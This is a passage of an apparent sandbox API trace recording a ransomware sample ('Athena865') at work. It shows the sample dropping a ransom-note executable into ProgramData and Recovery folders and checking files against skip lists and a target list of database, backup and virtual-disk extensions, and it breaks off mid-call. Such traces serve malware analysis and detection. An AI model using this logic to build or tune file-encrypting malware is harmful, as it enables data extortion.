(in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0048.973] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.973] ReleaseMutex (hMutex=0xec) returned 1 [0048.973] CloseHandle (hObject=0xec) returned 1 [0048.973] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Sun" | out: lpString1="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0048.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5180d8 | out: hHeap=0x4f0000) returned 1 [0048.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dbb0 | out: hHeap=0x4f0000) returned 1 [0048.973] lstrlenW (lpString="C:\\ProgramData\\Sun") returned 18 [0048.973] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8A1B8BDED6665981DF9720ED66F37F08") returned 0xec [0048.973] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.973] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Sun" | out: lpString1="C:\\ProgramData\\Sun") returned="C:\\ProgramData\\Sun" [0048.973] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.973] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.974] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.974] GetLastError () returned 0x0 [0048.974] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.974] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.975] CloseHandle (hObject=0xf4) returned 1 [0048.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.975] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.975] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.975] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.975] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.975] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.975] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.975] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.975] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.975] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.975] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.975] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc6551c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.975] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.975] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0048.975] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.975] lstrcmpiW (lpString1="Java", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.975] lstrcmpiW (lpString1="Java", lpString2=".") returned 1 [0048.975] lstrcmpiW (lpString1="Java", lpString2="..") returned 1 [0048.975] lstrcmpiW (lpString1="Java", lpString2="windows") returned -1 [0048.975] lstrcmpiW (lpString1="Java", lpString2="bootmgr") returned 1 [0048.975] lstrcmpiW (lpString1="Java", lpString2="temp") returned -1 [0048.975] lstrcmpiW (lpString1="Java", lpString2="pagefile.sys") returned -1 [0048.976] lstrcmpiW (lpString1="Java", lpString2="boot") returned 1 [0048.976] lstrcmpiW (lpString1="Java", lpString2="ids.txt") returned 1 [0048.976] lstrcmpiW (lpString1="Java", lpString2="ntuser.dat") returned -1 [0048.976] lstrcmpiW (lpString1="Java", lpString2="perflogs") returned -1 [0048.976] lstrcmpiW (lpString1="Java", lpString2="MSBuild") returned -1 [0048.976] lstrlenW (lpString="Java") returned 4 [0048.976] lstrcpyW (in: lpString1=0x241e86e, lpString2="Java" | out: lpString1="Java") returned="Java" [0048.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbb0 [0048.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x30) returned 0x51a8d8 [0048.976] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0048.976] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0048.976] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.978] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0048.978] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.978] ReleaseMutex (hMutex=0xec) returned 1 [0048.978] CloseHandle (hObject=0xec) returned 1 [0048.978] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Templates" | out: lpString1="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0048.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529410 | out: hHeap=0x4f0000) returned 1 [0048.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db98 | out: hHeap=0x4f0000) returned 1 [0048.978] lstrlenW (lpString="C:\\ProgramData\\Templates") returned 24 [0048.978] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\835FA14C9BA86F56BAF31520EEB0839B") returned 0xec [0048.978] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.978] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Templates" | out: lpString1="C:\\ProgramData\\Templates") returned="C:\\ProgramData\\Templates" [0048.978] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.978] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.979] CreateFileW (lpFileName="C:\\ProgramData\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.979] GetLastError () returned 0x0 [0048.979] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.979] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.980] CloseHandle (hObject=0xf4) returned 1 [0048.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.980] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.980] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0048.980] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.980] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.980] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.980] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.980] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.980] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.981] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.981] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.981] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc6551c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.981] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.981] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc6551c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0048.981] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0048.981] ReleaseMutex (hMutex=0xec) returned 1 [0048.981] CloseHandle (hObject=0xec) returned 1 [0048.981] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0048.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0048.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509068 | out: hHeap=0x4f0000) returned 1 [0048.981] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned 48 [0048.981] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7C212536B5BD32185C07A91E03079BA3") returned 0xec [0048.981] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.981] lstrcatW (in: lpString1="", lpString2="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" [0048.981] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.981] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.981] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.982] GetLastError () returned 0x0 [0048.982] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.982] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.982] CloseHandle (hObject=0xf4) returned 1 [0048.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.983] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.983] FindFirstFileW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0048.983] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.983] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.983] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.983] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.983] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.983] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.983] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.983] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.983] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2=".") returned 1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="..") returned 1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="windows") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="bootmgr") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="temp") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="pagefile.sys") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="boot") returned 1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="ids.txt") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="ntuser.dat") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="perflogs") returned -1 [0048.983] lstrcmpiW (lpString1="boot.sdi", lpString2="MSBuild") returned -1 [0048.983] lstrlenW (lpString="boot.sdi") returned 8 [0048.983] lstrcpyW (in: lpString1=0x241e8aa, lpString2="boot.sdi" | out: lpString1="boot.sdi") returned="boot.sdi" [0048.983] lstrlenW (lpString="boot.sdi") returned 8 [0048.984] lstrlenW (lpString="Athena865") returned 9 [0048.984] lstrlenW (lpString=".dll") returned 4 [0048.984] lstrcmpiW (lpString1="boot.sdi", lpString2=".dll") returned 1 [0048.984] lstrlenW (lpString=".lnk") returned 4 [0048.984] lstrcmpiW (lpString1="boot.sdi", lpString2=".lnk") returned 1 [0048.984] lstrlenW (lpString=".ini") returned 4 [0048.984] lstrcmpiW (lpString1="boot.sdi", lpString2=".ini") returned 1 [0048.984] lstrlenW (lpString=".sys") returned 4 [0048.984] lstrcmpiW (lpString1="boot.sdi", lpString2=".sys") returned 1 [0048.984] lstrlenW (lpString="boot.sdi") returned 8 [0048.984] lstrlenW (lpString="bak") returned 3 [0048.984] lstrcmpiW (lpString1="sdi", lpString2="bak") returned 1 [0048.984] lstrlenW (lpString="ba_") returned 3 [0048.984] lstrcmpiW (lpString1="sdi", lpString2="ba_") returned 1 [0048.984] lstrlenW (lpString="dbb") returned 3 [0048.984] lstrcmpiW (lpString1="sdi", lpString2="dbb") returned 1 [0048.984] lstrlenW (lpString="vmdk") returned 4 [0048.984] lstrcmpiW (lpString1=".sdi", lpString2="vmdk") returned -1 [0048.984] lstrlenW (lpString="rar") returned 3 [0048.984] lstrcmpiW (lpString1="sdi", lpString2="rar") returned 1 [0048.984] lstrlenW (lpString="zip") returned 3 [0048.984] lstrcmpiW (lpString1="sdi", lpString2="zip") returned -1 [0048.984] lstrlenW (lpString="tgz") returned 3 [0048.984] lstrcmpiW (lpString1="sdi", lpString2="tgz") returned -1 [0048.984] lstrlenW (lpString="vbox") returned 4 [0048.984] lstrcmpiW (lpString1=".sdi", lpString2="vbox") returned -1 [0048.984] lstrlenW (lpString="vdi") returned 3 [0048.984] lstrcmpiW (lpString1="sdi", lpString2="vdi") returned -1 [0048.984] lstrlenW (lpString="vhd") returned 3 [0048.984] lstrcmpiW (lpString1="sdi", lpString2="vhd") returned -1 [0048.984] lstrlenW (lpString="vhdx") returned 4 [0048.984] lstrcmpiW (lpString1=".sdi", lpString2="vhdx") returned -1 [0048.984] lstrlenW (lpString="avhd") returned 4 [0048.984] lstrcmpiW (lpString1=".sdi", lpString2="avhd") returned -1 [0048.985] lstrlenW (lpString="db") returned 2 [0048.985] lstrcmpiW (lpString1="di", lpString2="db") returned 1 [0048.985] lstrlenW (lpString="db2") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="db2") returned 1 [0048.985] lstrlenW (lpString="db3") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="db3") returned 1 [0048.985] lstrlenW (lpString="dbf") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="dbf") returned 1 [0048.985] lstrlenW (lpString="mdf") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="mdf") returned 1 [0048.985] lstrlenW (lpString="mdb") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="mdb") returned 1 [0048.985] lstrlenW (lpString="sql") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="sql") returned -1 [0048.985] lstrlenW (lpString="sqlite") returned 6 [0048.985] lstrcmpiW (lpString1="ot.sdi", lpString2="sqlite") returned -1 [0048.985] lstrlenW (lpString="sqlite3") returned 7 [0048.985] lstrcmpiW (lpString1="oot.sdi", lpString2="sqlite3") returned -1 [0048.985] lstrlenW (lpString="sqlitedb") returned 8 [0048.985] lstrlenW (lpString="xml") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="xml") returned -1 [0048.985] lstrlenW (lpString="$er") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="$er") returned 1 [0048.985] lstrlenW (lpString="4dd") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="4dd") returned 1 [0048.985] lstrlenW (lpString="4dl") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="4dl") returned 1 [0048.985] lstrlenW (lpString="^^^") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="^^^") returned 1 [0048.985] lstrlenW (lpString="abs") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="abs") returned 1 [0048.985] lstrlenW (lpString="abx") returned 3 [0048.985] lstrcmpiW (lpString1="sdi", lpString2="abx") returned 1 [0048.985] lstrlenW (lpString="accdb") returned 5 [0048.985] lstrcmpiW (lpString1="t.sdi", lpString2="accdb") returned 1 [0048.985] lstrlenW (lpString="accdc") returned 5 [0048.985] lstrcmpiW (lpString1="t.sdi", lpString2="accdc") returned 1 [0048.986] lstrlenW (lpString="accde") returned 5 [0048.986] lstrcmpiW (lpString1="t.sdi", lpString2="accde") returned 1 [0048.986] lstrlenW (lpString="accdr") returned 5 [0048.986] lstrcmpiW (lpString1="t.sdi", lpString2="accdr") returned 1 [0048.986] lstrlenW (lpString="accdt") returned 5 [0048.986] lstrcmpiW (lpString1="t.sdi", lpString2="accdt") returned 1 [0048.986] lstrlenW (lpString="accdw") returned 5 [0048.986] lstrcmpiW (lpString1="t.sdi", lpString2="accdw") returned 1 [0048.986] lstrlenW (lpString="accft") returned 5 [0048.986] lstrcmpiW (lpString1="t.sdi", lpString2="accft") returned 1 [0048.986] lstrlenW (lpString="adb") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="adb") returned 1 [0048.986] lstrlenW (lpString="adb") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="adb") returned 1 [0048.986] lstrlenW (lpString="ade") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="ade") returned 1 [0048.986] lstrlenW (lpString="adf") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="adf") returned 1 [0048.986] lstrlenW (lpString="adn") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="adn") returned 1 [0048.986] lstrlenW (lpString="adp") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="adp") returned 1 [0048.986] lstrlenW (lpString="alf") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="alf") returned 1 [0048.986] lstrlenW (lpString="ask") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="ask") returned 1 [0048.986] lstrlenW (lpString="btr") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="btr") returned 1 [0048.986] lstrlenW (lpString="cat") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="cat") returned 1 [0048.986] lstrlenW (lpString="cdb") returned 3 [0048.986] lstrcmpiW (lpString1="sdi", lpString2="cdb") returned 1 [0048.987] lstrlenW (lpString="ckp") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="ckp") returned 1 [0048.987] lstrlenW (lpString="cma") returned 3 [0048.987] lstrcmpiW (lpString1="sdi", lpString2="cma") returned 1 [0048.987] lstrlenW 